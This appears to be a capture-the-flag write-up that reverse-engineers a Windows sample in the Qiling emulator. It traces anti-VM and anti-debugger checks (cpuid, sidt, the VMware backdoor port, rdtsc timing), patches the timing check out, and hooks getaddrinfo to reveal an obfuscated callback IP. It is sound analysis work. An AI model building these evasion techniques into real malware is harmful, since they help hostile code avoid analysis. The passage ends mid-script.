[*] 0x00406ace: mov eax, dword ptr [0x40a3ac]
[*] 0x00406ad3: xor ecx, ecx
[*] 0x00406ad5: inc ecx
[*] 0x00406ad6: cmp eax, ecx
[*] 0x00406ad8: je 0x406c0d
[*] 0x00406ade: test eax, eax
[*] 0x00406ae0: jne 0x406b2b
[*] 0x00406ae2: mov dword ptr [0x40a3ac], ecx
[*] 0x00406ae8: push 0x408124
[*] 0x00406aed: push 0x408118
[*] 0x00406af2: call 0x4075e3
[*] 0x004075e3: jmp dword ptr [0x4080cc]
[=]    _initterm_e(pfbegin = 0x408118, pfend = 0x408124) = 0x0
[*] 0x1035fe2f: jne 0x1035fe94
[*] 0x00406af7: pop ecx
[*] 0x00406af8: pop ecx
[*] 0x00406af9: test eax, eax
[*] 0x00406afb: je 0x406b0e
[*] 0x00406b0e: push 0x408114
[*] 0x00406b13: push 0x408108
[*] 0x00406b18: call 0x4075dd
[*] 0x004075dd: jmp dword ptr [0x4080d0]
[=]    _initterm(pfbegin = 0x408108, pfend = 0x408114)
[*] 0x1035fe10: jne 0x1035fe75
[*] 0x00406b1d: pop ecx
[*] 0x00406b1e: pop ecx
[*] 0x00406b1f: mov dword ptr [0x40a3ac], 2
[*] 0x00406b29: jmp 0x406b30
[*] 0x00406b30: push dword ptr [ebp - 0x24]
[*] 0x00406b33: call 0x406f52
[*] 0x00406f52: push ebp
[*] 0x00406f53: mov ebp, esp
[*] 0x00406f55: call 0x407577
[*] 0x00407577: xor eax, eax
[*] 0x00407579: cmp dword ptr [0x40a014], eax
[*] 0x0040757f: setne al
[*] 0x00407582: ret
[*] 0x00406f5a: test eax, eax
[*] 0x00406f5c: je 0x406f6d
[*] 0x00406f5e: cmp byte ptr [ebp + 8], 0
[*] 0x00406f62: jne 0x406f6d
[*] 0x00406f64: xor eax, eax
[*] 0x00406f66: mov ecx, 0x40a3b0
[*] 0x00406f6b: xchg dword ptr [ecx], eax
[*] 0x00406f6d: pop ebp
[*] 0x00406f6e: ret
[*] 0x00406b38: pop ecx
[*] 0x00406b39: call 0x4070e6
[*] 0x004070e6: mov eax, 0x40a400
[*] 0x004070eb: ret
[*] 0x00406b3e: mov esi, eax
[*] 0x00406b40: xor edi, edi
[*] 0x00406b42: cmp dword ptr [esi], edi
[*] 0x00406b44: je 0x406b61
[*] 0x00406b61: call 0x4070ec
[*] 0x004070ec: mov eax, 0x40a3fc
[*] 0x004070f1: ret
[*] 0x00406b66: mov esi, eax
[*] 0x00406b68: cmp dword ptr [esi], edi
[*] 0x00406b6a: je 0x406b7f
[*] 0x00406b7f: call 0x4075d7
[*] 0x004075d7: jmp dword ptr [0x4080d4]
[=]    _get_initial_narrow_environment() = 0x0
[*] 0x1035faec: jne 0x1035fb51
[*] 0x00406b84: mov edi, eax
[*] 0x00406b86: call 0x4075fb
[*] 0x004075fb: jmp dword ptr [0x4080c4]
[=]    __p___argv() = 0x5000c00
[*] 0x1035f630: jne 0x1035f695
[*] 0x00406b8b: mov esi, dword ptr [eax]
[*] 0x00406b8d: call 0x4075f5
[*] 0x004075f5: jmp dword ptr [0x4080c8]
[=]    __p___argc() = 0x5000c19
[*] 0x1035f611: jne 0x1035f676
[*] 0x00406b92: push edi
[*] 0x00406b93: push esi
[*] 0x00406b94: push dword ptr [eax]
[*] 0x00406b96: call 0x402100
[*] 0x00402100: push ebp
[*] 0x00402101: mov ebp, esp
[*] 0x00402103: push -1
[*] 0x00402105: push 0x4076ed
[*] 0x0040210a: mov eax, dword ptr fs:[0]
[*] 0x00402110: push eax
[*] 0x00402111: sub esp, 0x1c
[*] 0x00402114: mov eax, dword ptr [0x40a004]
[*] 0x00402119: xor eax, ebp
[*] 0x0040211b: mov dword ptr [ebp - 0x10], eax
[*] 0x0040211e: push esi
[*] 0x0040211f: push edi
[*] 0x00402120: push eax
[*] 0x00402121: lea eax, [ebp - 0xc]
[*] 0x00402124: mov dword ptr fs:[0], eax
[*] 0x0040212a: call 0x403a90
[*] 0x00403a90: push ebp
[*] 0x00403a91: mov ebp, esp
[*] 0x00403a93: sub esp, 0xc
[*] 0x00403a96: push ebx
[*] 0x00403a97: call 0x403a20
[*] 0x00403a20: push ebp
[*] 0x00403a21: mov ebp, esp
[*] 0x00403a23: sub esp, 0x10
[*] 0x00403a26: push ebx
[*] 0x00403a27: mov byte ptr [ebp - 1], 0
[*] 0x00403a2b: xor eax, eax
[*] 0x00403a2d: cpuid
[*] 0x00403a2f: mov dword ptr [ebp - 0x10], ebx
[*] 0x00403a32: mov dword ptr [ebp - 8], edx
[*] 0x00403a35: mov dword ptr [ebp - 0xc], ecx
[*] 0x00403a38: mov eax, dword ptr [ebp - 0x10]
[*] 0x00403a3b: pop ebx
[*] 0x00403a3c: cmp eax, 0x7263694d
[*] 0x00403a41: jne 0x403a5b
[*] 0x00403a5b: cmp eax, 0x61774d56
[*] 0x00403a60: jne 0x403a82
[*] 0x00403a82: mov al, byte ptr [ebp - 1]
[*] 0x00403a85: mov esp, ebp
[*] 0x00403a87: pop ebp
[*] 0x00403a88: ret
[*] 0x00403a9c: test al, al
[*] 0x00403a9e: jne 0x403adf
[*] 0x00403aa0: sidt [ebp - 0xc]
[*] 0x00403aa4: mov eax, dword ptr [ebp - 0xa]
[*] 0x00403aa7: and eax, 0xff000000
[*] 0x00403aac: cmp eax, 0xd0000000
[*] 0x00403ab1: jae 0x403adf
[*] 0x00403ab3: mov dword ptr [ebp - 4], 0
[*] 0x00403aba: push eax
[*] 0x00403abb: push ebx
[*] 0x00403abc: push ecx
[*] 0x00403abd: push edx
[*] 0x00403abe: mov eax, 0x564d5868
[*] 0x00403ac3: mov ecx, 0x14
[*] 0x00403ac8: mov dx, 0x5658
[*] 0x00403acc: in eax, dx
[*] 0x00403acd: mov dword ptr [ebp - 4], eax
[*] 0x00403ad0: pop edx
[*] 0x00403ad1: pop ecx
[*] 0x00403ad2: pop ebx
[*] 0x00403ad3: pop eax
[*] 0x00403ad4: cmp dword ptr [ebp - 4], 0
[*] 0x00403ad8: ja 0x403adf
[*] 0x00403ada: pop ebx
[*] 0x00403adb: mov esp, ebp
[*] 0x00403add: pop ebp
[*] 0x00403ade: ret
[*] 0x0040212f: mov byte ptr [ebp - 0x1d], 0
[*] 0x00402133: xor eax, eax
[*] 0x00402135: mov eax, dword ptr fs:[0x30]
[*] 0x0040213b: mov al, byte ptr [eax + 0x68]
[*] 0x0040213e: and al, 0x70
[*] 0x00402140: cmp al, 0x70
[*] 0x00402142: jne 0x402148
[*] 0x00402148: nop
[*] 0x00402149: cmp byte ptr [ebp - 0x1d], 0
[*] 0x0040214d: je 0x402157
[*] 0x00402157: rdtsc
[*] 0x00402159: mov esi, eax
[*] 0x0040215b: mov edi, edx
[*] 0x0040215d: mov ecx, eax
[*] 0x0040215f: mov eax, ecx
[*] 0x00402161: inc eax
[*] 0x00402162: dec eax
[*] 0x00402163: nop
[*] 0x00402164: rdtsc
[*] 0x00402166: sub eax, esi
[*] 0x00402168: sbb edx, edi
[*] 0x0040216a: test edx, edx
[*] 0x0040216c: ja 0x40214f
[*] 0x0040216e: jb 0x402177
[*] 0x00402170: cmp eax, 0x100
[*] 0x00402175: ja 0x40214f
[*] 0x0040214f: push 0
[*] 0x00402151: call dword ptr [0x4080b4]
[=]    exit(status = 0x0)
[*] 0x10360330: jne 0x10360395

As we can see from the last ~20 or so instructions before the call to exit, the program is measuring elapsed execution time using the rdtsc instruction, determining that the execution took too long, and exiting.

We can patch out the instructions from 0x412157 to 0x40216c in the executable with nops, then run the script again. Finally, we now see some dynamic library loads and function imports!

Beginning to resolve dynamic lib loads and function imports
[...]
[*] 0x00402157: nop
[*] 0x00402158: nop
[*] 0x00402159: nop
[*] 0x0040215a: nop
[*] 0x0040215b: nop
[*] 0x0040215c: nop
[*] 0x0040215d: nop
[*] 0x0040215e: nop
[*] 0x0040215f: nop
[*] 0x00402160: nop
[*] 0x00402161: nop
[*] 0x00402162: nop
[*] 0x00402163: nop
[*] 0x00402164: nop
[*] 0x00402165: nop
[*] 0x00402166: nop
[*] 0x00402167: nop
[*] 0x00402168: nop
[*] 0x00402169: nop
[*] 0x0040216a: nop
[*] 0x0040216b: nop
[*] 0x0040216c: nop
[*] 0x0040216d: loope 0x4021e1
[*] 0x004021e1: in al, 0
[*] 0x004021e3: add byte ptr [eax], al
[*] 0x004021e5: add bh, al
[*] 0x004021e7: inc ebp
[*] 0x004021e8: call 0x4021ed
[*] 0x004021ed: mov dword ptr [ebp - 0x14], 0
[*] 0x004021f4: lea ecx, [ebp - 0x1c]
[*] 0x004021f7: mov dword ptr [ebp - 4], 0
[*] 0x004021fe: call 0x4011d0
[*] 0x004011d0: push ebx
[*] 0x004011d1: mov ebx, esp
[*] 0x004011d3: sub esp, 8
[*] 0x004011d6: and esp, 0xfffffff0
[*] 0x004011d9: add esp, 4
[*] 0x004011dc: push ebp
[*] 0x004011dd: mov ebp, dword ptr [ebx + 4]
[*] 0x004011e0: mov dword ptr [esp + 4], ebp
[*] 0x004011e4: mov ebp, esp
[*] 0x004011e6: sub esp, 0x688
[*] 0x004011ec: mov eax, dword ptr [0x40a004]
[*] 0x004011f1: xor eax, ebp
[*] 0x004011f3: mov dword ptr [ebp - 4], eax
[*] 0x004011f6: push esi
[*] 0x004011f7: push edi
[*] 0x004011f8: mov dword ptr [ebp - 0x654], ecx
[*] 0x004011fe: mov dword ptr [ebp - 0x640], 0xd1312f42
[*] 0x00401208: lea eax, [ebp - 0x650]
[*] 0x0040120e: mov dword ptr [ebp - 0x63c], 0xc60955e4
[*] 0x00401218: mov dword ptr [ebp - 0x638], 0xcd82bbaa
[*] 0x00401222: mov dword ptr [ebp - 0x634], 0x2bbfde5a
[*] 0x0040122c: mov dword ptr [ebp - 0x600], 0x8e035c15
[*] 0x00401236: mov dword ptr [ebp - 0x5fc], 0xa22767d7
[*] 0x00401240: mov dword ptr [ebp - 0x5f8], 0xcd82d7c6
[*] 0x0040124a: mov dword ptr [ebp - 0x5f4], 0x2bbfde5a
[*] 0x00401254: movaps xmm1, xmmword ptr [ebp - 0x600]
[*] 0x0040125b: pxor xmm1, xmmword ptr [ebp - 0x640]
[*] 0x00401263: mov edi, dword ptr [0x408000]
[*] 0x00401269: mov dword ptr [ebp - 0x650], 0xdd420f42
[*] 0x00401273: mov dword ptr [ebp - 0x64c], 0xd65506a3
[*] 0x0040127d: mov dword ptr [ebp - 0x648], 0xcd82a7b3
[*] 0x00401287: mov dword ptr [ebp - 0x644], 0x2bbfde5a
[*] 0x00401291: movaps xmmword ptr [ebp - 0x640], xmm1
[*] 0x00401298: push eax
[*] 0x00401299: mov dword ptr [ebp - 0x600], 0x8e035c15
[*] 0x004012a3: lea eax, [ebp - 0x640]
[*] 0x004012a9: mov dword ptr [ebp - 0x5fc], 0xa22767d7
[*] 0x004012b3: mov dword ptr [ebp - 0x5f8], 0xcd82d7c6
[*] 0x004012bd: mov dword ptr [ebp - 0x5f4], 0x2bbfde5a
[*] 0x004012c7: movaps xmm1, xmmword ptr [ebp - 0x600]
[*] 0x004012ce: pxor xmm1, xmmword ptr [ebp - 0x650]
[*] 0x004012d6: push eax
[*] 0x004012d7: movaps xmmword ptr [ebp - 0x650], xmm1
[*] 0x004012de: call edi
[=]    Loading ./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\ws2_32.dll to 0x10375000
[=]    Done with loading ./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\ws2_32.dll
[=]    LoadLibraryA(lpLibFileName = "Ws2_32.dll") = 0x10375000
[*] 0x102164f0: dec eax
[*] 0x004012e0: push eax
[*] 0x004012e1: call dword ptr [0x408004]
[=]    GetProcAddress(hModule = 0x10375000, lpProcName = "WSAStartup") = 0x10383b10
[*] 0x10210ec0: dec esp
[*] 0x004012e7: lea ecx, [ebp - 0x5e0]
[*] 0x004012ed: push ecx
[*] 0x004012ee: push 0x202
[*] 0x004012f3: call eax
[=]    WSAStartup(wVersionRequired = 0x202, LPWSADATA = 0xffffc980) = 0x0
[*] 0x10383b10: dec eax
[*] 0x004012f5: mov esi, eax
[*] 0x004012f7: mov dword ptr [ebp - 0x650], 0xcd420f42
[*] 0x00401301: mov dword ptr [ebp - 0x64c], 0xcc4602bb
[*] 0x0040130b: lea eax, [ebp - 0x650]
[*] 0x00401311: mov dword ptr [ebp - 0x648], 0xcd82a7b3
[*] 0x0040131b: mov dword ptr [ebp - 0x644], 0x2bbfde5a
[*] 0x00401325: push eax
[*] 0x00401326: mov dword ptr [ebp - 0x600], 0x8e035c15
[*] 0x00401330: lea eax, [ebp - 0x640]
[*] 0x00401336: mov dword ptr [ebp - 0x5fc], 0xa22767d7
[*] 0x00401340: mov dword ptr [ebp - 0x5f8], 0xcd82d7c6
[*] 0x0040134a: mov dword ptr [ebp - 0x5f4], 0x2bbfde5a
[*] 0x00401354: movaps xmm1, xmmword ptr [ebp - 0x600]
[*] 0x0040135b: pxor xmm1, xmmword ptr [ebp - 0x650]
[*] 0x00401363: push eax
[*] 0x00401364: movaps xmmword ptr [ebp - 0x650], xmm1
[*] 0x0040136b: call edi
[=]    LoadLibraryA(lpLibFileName = "Ws2_32.dll") = 0x10375000
[*] 0x102164f0: dec eax
[*] 0x0040136d: push eax
[*] 0x0040136e: call dword ptr [0x408004]
[=]    GetProcAddress(hModule = 0x10375000, lpProcName = "WSACleanup") = 0x10385410
[*] 0x10210ec0: dec esp
[*] 0x00401374: mov edi, eax
[*] 0x00401376: mov dword ptr [ebp - 0x628], edi
[*] 0x0040137c: test esi, esi
[*] 0x0040137e: jne 0x401a6d
[*] 0x00401384: xorps xmm0, xmm0
[*] 0x00401387: mov dword ptr [ebp - 0x620], 0xef773972
[*] 0x00401391: mov dword ptr [ebp - 0x61c], 0xcb5503b3
[*] 0x0040139b: lea eax, [ebp - 0x620]
[*] 0x004013a1: mov dword ptr [ebp - 0x618], 0xcdedb1a8
[*] 0x004013ab: mov dword ptr [ebp - 0x614], 0x2bbfde5a
[*] 0x004013b5: mov dword ptr [ebp - 0x5e4], esi
[*] 0x004013bb: mov dword ptr [ebp - 0x450], esi
[*] 0x004013c1: mov esi, dword ptr [0x408000]
[*] 0x004013c7: movlpd qword ptr [ebp - 0x440], xmm0
[*] 0x004013cf: movlpd qword ptr [ebp - 0x438], xmm0
[*] 0x004013d7: mov dword ptr [ebp - 0x44c], 2
[*] 0x004013e1: mov dword ptr [ebp - 0x448], 1
[*] 0x004013eb: mov dword ptr [ebp - 0x444], 6
[*] 0x004013f5: push eax
[*] 0x004013f6: mov dword ptr [ebp - 0x600], 0x8e035c15
[*] 0x00401400: lea eax, [ebp - 0x640]
[*] 0x00401406: mov dword ptr [ebp - 0x5fc], 0xa22767d7
[*] 0x00401410: mov dword ptr [ebp - 0x5f8], 0xcd82d7c6
[*] 0x0040141a: mov dword ptr [ebp - 0x5f4], 0x2bbfde5a
[*] 0x00401424: movaps xmm1, xmmword ptr [ebp - 0x600]
[*] 0x0040142b: pxor xmm1, xmmword ptr [ebp - 0x620]
[*] 0x00401433: push eax
[*] 0x00401434: movaps xmmword ptr [ebp - 0x620], xmm1
[*] 0x0040143b: call esi
[=]    LoadLibraryA(lpLibFileName = "Ws2_32.dll") = 0x10375000
[*] 0x102164f0: dec eax
[*] 0x0040143d: push eax
[*] 0x0040143e: call dword ptr [0x408004]
[=]    GetProcAddress(hModule = 0x10375000, lpProcName = "getaddrinfo") = 0x10378710
[*] 0x10210ec0: dec esp
[*] 0x00401444: lea ecx, [ebp - 0x5e4]
[*] 0x0040144a: mov dword ptr [ebp - 0x600], 0xbc2d6926
[*] 0x00401454: push ecx
[*] 0x00401455: lea ecx, [ebp - 0x450]
[*] 0x0040145b: mov dword ptr [ebp - 0x5fc], 0x930956e3
[*] 0x00401465: push ecx
[*] 0x00401466: push dword ptr [0x40a3f8]
[*] 0x0040146c: mov dword ptr [ebp - 0x5f8], 0xfbaceef3
[*] 0x00401476: lea ecx, [ebp - 0x600]
[*] 0x0040147c: mov dword ptr [ebp - 0x5f4], 0x2bbfde68
[*] 0x00401486: mov dword ptr [ebp - 0x420], 0x8e035c15
[*] 0x00401490: mov dword ptr [ebp - 0x41c], 0xa22767d7
[*] 0x0040149a: mov dword ptr [ebp - 0x418], 0xcd82d7c6
[*] 0x004014a4: mov dword ptr [ebp - 0x414], 0x2bbfde5a
[*] 0x004014ae: movaps xmm1, xmmword ptr [ebp - 0x420]
[*] 0x004014b5: pxor xmm1, xmmword ptr [ebp - 0x600]
[*] 0x004014bd: push ecx
[*] 0x004014be: movaps xmmword ptr [ebp - 0x600], xmm1
[*] 0x004014c5: call eax
[!]    getaddrinfo is not implemented
[*] 0x10378710: dec eax
[*] 0x10378711: mov eax, esp
[*] 0x10378713: dec eax
[*] 0x10378714: mov dword ptr [eax + 8], ebx
[*] 0x10378717: dec eax
[*] 0x10378718: mov dword ptr [eax + 0x10], ebp
[*] 0x1037871b: dec eax
[*] 0x1037871c: mov dword ptr [eax + 0x18], esi
[*] 0x1037871f: dec eax
[*] 0x10378720: mov dword ptr [eax + 0x20], edi
[*] 0x10378723: inc ecx
[*] 0x10378724: push esp
[*] 0x10378725: inc ecx
[*] 0x10378726: push esi
[*] 0x10378727: inc ecx
[*] 0x10378728: push edi
[*] 0x10378729: dec eax
[*] 0x1037872a: sub esp, 0x60
[*] 0x1037872d: dec eax
[*] 0x1037872e: mov eax, dword ptr [0x4e8cc]
[x]

[x]    ah      :        0xc8
[x]    al      :        0xb6
[x]    ch      :        0xc9
[x]    cl      :        0x63
[x]    dh      :        0x6e
[x]    dl      :        0x65
[x]    bh      :        0xcf
[x]    bl      :        0x74
[x]    ax      :        0xc8b6
[x]    cx      :        0xc963
[x]    dx      :        0x6e65
[x]    bx      :        0xcf74
[x]    sp      :        0xc850
[x]    bp      :        0xcf60
[x]    si      :        0x64f0
[x]    di      :        0x5410
[x]    ip      :        0x872e
[x]    eax     :        0xffffc8b6
[x]    ecx     :        0xffffc963
[x]    edx     :        0x69746e65
[x]    ebx     :        0xffffcf74
[x]    esp     :        0xffffc850
[x]    ebp     :        0xffffcf60
[x]    esi     :        0x102164f0
[x]    edi     :        0x10385410
[x]    eip     :        0x1037872e
[x]    cr0     :        0x11
[x]    cr1     :        0x0
[x]    cr2     :        0x0
[x]    cr3     :        0x0
[x]    cr4     :        0x0
[x]    cr5     :        0x0
[x]    cr6     :        0x0
[x]    cr7     :        0x0
[x]    cr8     :        0x0
[x]    cr9     :        0x0
[x]    cr10    :        0x0
[x]    cr11    :        0x0
[x]    cr12    :        0x0
[x]    cr13    :        0x0
[x]    cr14    :        0x0
[x]    cr15    :        0x0
[x]    st0     :        0x0
[x]    st1     :        0x0
[x]    st2     :        0x0
[x]    st3     :        0x0
[x]    st4     :        0x0
[x]    st5     :        0x0
[x]    st6     :        0x0
[x]    st7     :        0x0
[x]    ef      :        0x80
[x]    cs      :        0x1b
[x]    ss      :        0x28
[x]    ds      :        0x28
[x]    es      :        0x28
[x]    fs      :        0x73
[x]    gs      :        0x78
[x]

[x]    PC = 0x1037872e
[x]     (./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\ws2_32.dll+0x372e)
[=]    [+] Start      End        Perm.  Path
[=]    [+] 00006000 - 0000c000 - rwx    [FS/GS]
[=]    [+] 00030000 - 00031000 - rwx    [GDT]
[=]    [+] 00400000 - 0040d000 - rwx    [PE] (.\\lnELKNdoie.exe)
[=]    [+] 05000000 - 05001000 - rwx    [heap]
[=]    [+] 06000000 - 0c000000 - rwx    [FS/GS]
[=]    [+] 10000000 - 101f6000 - rwx    ntdll.dll (./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\ntdll.dll)
[=]    [+] 101f6000 - 102b3000 - rwx    kernel32.dll (./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\kernel32.dll)
[=]    [+] 102b3000 - 10345000 - rwx    msvcp140.dll (./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\msvcp140.dll)
[=]    [+] 10345000 - 1035e000 - rwx    vcruntime140.dll (./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\vcruntime140.dll)
[=]    [+] 1035e000 - 10362000 - rwx    api-ms-win-crt-runtime-l1-1-0.dll (./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\api-ms-win-crt-runtime-l1-1-0.dll)
[=]    [+] 10362000 - 10366000 - rwx    api-ms-win-crt-string-l1-1-0.dll (./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\api-ms-win-crt-string-l1-1-0.dll)
[=]    [+] 10366000 - 10369000 - rwx    api-ms-win-crt-heap-l1-1-0.dll (./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\api-ms-win-crt-heap-l1-1-0.dll)
[=]    [+] 10369000 - 1036e000 - rwx    api-ms-win-crt-math-l1-1-0.dll (./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\api-ms-win-crt-math-l1-1-0.dll)
[=]    [+] 1036e000 - 10372000 - rwx    api-ms-win-crt-stdio-l1-1-0.dll (./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\api-ms-win-crt-stdio-l1-1-0.dll)
[=]    [+] 10372000 - 10375000 - rwx    api-ms-win-crt-locale-l1-1-0.dll (./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\api-ms-win-crt-locale-l1-1-0.dll)
[=]    [+] 10375000 - 103e0000 - rwx    ws2_32.dll (./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\ws2_32.dll)
[=]    [+] fffdd000 - ffffe000 - rwx    [stack]
[x]    ['0x8b', '0x5', '0xcc', '0xe8', '0x4', '0x0', '0x4c', '0x8b']
[=]

[=]    0x1037872e {ws2_32.dll           + 0x00372e}   8b 05 cc e8 04 00 4c 8b e1 48 8d 0d d2 b7 00 00 33 ed 33 f6 49 8b f9 4d 8b f0 4c 8b fa 48 3b c1 0f 85 64 01 00 00 48 39 35 cd f0 04 00 0f 84 57 01 00 00 48 21 37 4d 85 f6 0f 84 67 01 00 00 41 mov eax, dword ptr [0x4e8cc]
> dec esp
> mov esp, ecx
> dec eax
> lea ecx, [0xb7d2]
> xor ebp, ebp
> xor esi, esi
> dec ecx
> mov edi, ecx
> dec ebp
> mov esi, eax
> dec esp
> mov edi, edx
> dec eax
> cmp eax, ecx
> jne 0x103788b8
> dec eax
> cmp dword ptr [0x4f0cd], esi
> je 0x103788b8
> dec eax
> and dword ptr [edi], esi
> dec ebp
> test esi, esi
> je 0x103788d4
> inc ecx
Traceback (most recent call last):
  File "C:\\Users\\WDAGUtilityAccount\\Desktop\\ctf\\unionware.py", line 17, in <module>
    ql.run()
  File "C:\\Users\\WDAGUtilityAccount\\AppData\\Local\\Programs\\Python\\Python39\\lib\\site-packages\\qiling\\core.py", line 756, in run
    self.os.run()
  File "C:\\Users\\WDAGUtilityAccount\\AppData\\Local\\Programs\\Python\\Python39\\lib\\site-packages\\qiling\\os\\windows\\windows.py", line 149, in run
    self.ql.emu_start(self.ql.loader.entry_point, self.exit_point, self.ql.timeout, self.ql.count)
  File "C:\\Users\\WDAGUtilityAccount\\AppData\\Local\\Programs\\Python\\Python39\\lib\\site-packages\\qiling\\core.py", line 897, in emu_start
    self.uc.emu_start(begin, end, timeout, count)
  File "C:\\Users\\WDAGUtilityAccount\\AppData\\Local\\Programs\\Python\\Python39\\lib\\site-packages\\unicorn\\unicorn.py", line 318, in emu_start
    raise UcError(status)
unicorn.unicorn.UcError: Invalid memory read (UC_ERR_READ_UNMAPPED)

We can see the following happening in the output:

  • A call to LoadLibraryA(lpLibFileName = "Ws2_32.dll") at 0x0040143b. This loads in Ws2_32.dll, which is the main 32-bit DLL for the Windows Sockets 2 (Winsock) library. This is a networking library for Windows; its interfaces and functions are generally similar to the Berkeley sockets API (i.e. the socket API present on most Unix-like systems today).
  • A call to GetProcAddress(hModule = 0x10375000, lpProcName = "getaddrinfo") at 0x0040143e, to import getaddrinfo.
  • Finally, the actual call to getaddrinfo at 0x004014c5.

It seems pretty clear at this point that this program is trying to do some networking. getaddrinfo takes a string containing a hostname or IP address (and optionally does hostname resolution), and uses that to fill an addrinfo struct containing address information in binary form, which can then be passed to other socket functions to make TCP connections, etc. If we can figure out what arguments getaddrinfo is being passed, we can figure out where this program is trying to talk to.

A few things to notice about the getaddrinfo call:

  • Qiling prints the message getaddrinfo is not implemented and then halts program execution after we make this call. This is because Qiling provides emulated or mock implementations of many syscalls and system libraries, but it doesn’t cover everything. In this case, Qiling does not provide an implementation for Winsock’s getaddrinfo. If we want to continue executing this program in Qiling past this point, we will need to provide our own mock implementation of getaddrinfo! More on this later.
  • The first argument passed to getaddrinfo, pNodeName, is the one that’s most interesting to us - it’s a pointer to the string containing the hostname or IP address that we’re asking the function to resolve. However, it seems to be obfuscated.
    • The default calling convention for Windows x86_32 is __cdecl, i.e. arguments are pushed onto the stack, with the last (i.e. rightmost) argument being pushed first and the first (i.e. leftmost) argument being pushed last.
    • We can see in the disassembly before the leftmost argument is pushed that we’re moving a bunch of data into a buffer (see 0x0040147c to 0x004014a4 below), then XORing that data (see 0x004014b5) with the buffer whose address (at [ebp - 0x600]) we ultimately pass onto the stack as our pNodeName argument:
INT WSAAPI getaddrinfo( PCSTR pNodeName, PCSTR pServiceName, const ADDRINFOA *pHints, PADDRINFOA *ppResult );
[*] 0x00401444: lea ecx, [ebp - 0x5e4]
[*] 0x0040144a: mov dword ptr [ebp - 0x600], 0xbc2d6926
[*] 0x00401454: push ecx
[*] 0x00401455: lea ecx, [ebp - 0x450]
[*] 0x0040145b: mov dword ptr [ebp - 0x5fc], 0x930956e3
[*] 0x00401465: push ecx
[*] 0x00401466: push dword ptr [0x40a3f8]
[*] 0x0040146c: mov dword ptr [ebp - 0x5f8], 0xfbaceef3
[*] 0x00401476: lea ecx, [ebp - 0x600]
[*] 0x0040147c: mov dword ptr [ebp - 0x5f4], 0x2bbfde68
[*] 0x00401486: mov dword ptr [ebp - 0x420], 0x8e035c15
[*] 0x00401490: mov dword ptr [ebp - 0x41c], 0xa22767d7
[*] 0x0040149a: mov dword ptr [ebp - 0x418], 0xcd82d7c6
[*] 0x004014a4: mov dword ptr [ebp - 0x414], 0x2bbfde5a
[*] 0x004014ae: movaps xmm1, xmmword ptr [ebp - 0x420]
[*] 0x004014b5: pxor xmm1, xmmword ptr [ebp - 0x600]
[*] 0x004014bd: push ecx
[*] 0x004014be: movaps xmmword ptr [ebp - 0x600], xmm1
[*] 0x004014c5: call eax
[!]    getaddrinfo is not implemented

We can either read the assembly, piece together what data is in the 2 XORed buffers, and calculate ourselves what the resulting value is, or we can actually get Qiling to do this work for us! Qiling allows us to hook functions on enter and exit (see ql.set_api() on that page), and provide a custom hook handler (in Python) which has access to input parameter and exit code values at the point where the function is hooked. It’s then very simple to just print those values in the handler:

"""
INT WSAAPI getaddrinfo(
    PCSTR           pNodeName,
    PCSTR           pServiceName,
    const ADDRINFOA *pHints,
    PADDRINFOA      *ppResult
);
"""
@winsdkapi(cc=STDCALL, dllname="ws2_32_dll", replace_params={"pNodeName": POINTER, "pServiceName": POINTER, "pHints": POINTER, "ppResult": POINTER})
def hook_getaddrinfo(ql, address, params):
    address = ql.os.read_cstring(params["pNodeName"])
    info(f"getaddrinfo called with address {address}")

ql.set_api("getaddrinfo", hook_getaddrinfo, QL_INTERCEPT.CALL)
[*] 0x004014c5: call eax
[*] getaddrinfo called with address 35.241.159.62
[=]     getaddrinfo(pNodeName = 0xffffc960, pServiceName = 0x0, pHints = 0xffffcb10, ppResult = 0xffffc97c)

OK! We have an IP address now. This is a Google Cloud (which is where the CTF infrastructure was hosted) customer address - nslookup resolves this to 62.159.241.35.bc.googleusercontent.com.

We still crash past this point though, since we haven’t provided an actual mock implementation here for getaddrinfo - we need to implement the logic for filling out the ppResult out-param with an actual addrinfo struct, as well as fill out an actual return value. Our hook handler here essentially serves as the place to put the logic required for our mock implementation - it’s able to consume the values of all input parameters, and fill the values of all output parameters and the return code.

Qiling provided some mock implementations for some of the functions in Winsock2 / ws2_32.dll already here, in os/windows/dlls/wsock32.py; this is also why program execution above was able to continue past the call to WSAStartup (which was before we hit getaddrinfo), as Qiling already provides a mock implementation for WSAStartup. We can use the existing mocks as examples to write our mock implementation of getaddrinfo.

Let’s add the logic for the getaddrinfo mock implementation inside our hook handler, as well as a (very simple) hook for WSACleanup.

A few notes on the implementation of our mock here:

  • Qiling provides functions for dealing with the (emulated) process memory. This includes reading and writing to or from some memory address (ql.mem.read, ql.mem.write), reading and writing strings (ql.os.read_cstring, ql.os.string), and making heap allocations (ql.os.heap.alloc).
  • To simplify the process of writing / reading Windows structs to/from the emulated process memory, Qiling provides a WindowsStruct which provides a lot of this functionality for us. If we want to read or write any Windows struct, we just have to implement a class in Python which inherits from WindowsStruct, define the size and order of each of its members, and implement a write and read function in which we pass in our member definitions to WindowsStruct.generic_write and WindowsStruct.generic_read.
    • We do this in our updated Python script for the addrinfo and sockaddr structs - see the AddrInfoA and Sockaddr classes, below.
    • The documentation around how to do this wasn’t great; the best way I found to implement these Windows struct Python classes was to look at the Windows struct implementations that Qiling does provide in qiling/os/windows/structs.py.
  • We don’t need to make the mock a perfect implementation of getaddrinfo - we just need to fill out the out-param and return code with something that’s correct enough for our program execution to continue for this particular case.
    • That is, we do need to make sure that the out-param ppResult, which is supposed to be a pointer to a pointer to an addrinfo struct, eventually points to some valid (emulated) memory location, so that when the program doesn’t crash when it tries to access that returned result later.
    • However, we don’t need to implement all the logic that actually takes any IP address we give as a string and packs it up properly in an addrinfo - since we know what IP address we’re trying to use here already, we can just hardcode that IP address in the result.

Here’s the updated script, and its output:

from qiling import *
from qiling.const import *
from qiling.os.windows.const import *
from qiling.os.windows.fncc import *
from qiling.os.windows.structs import *
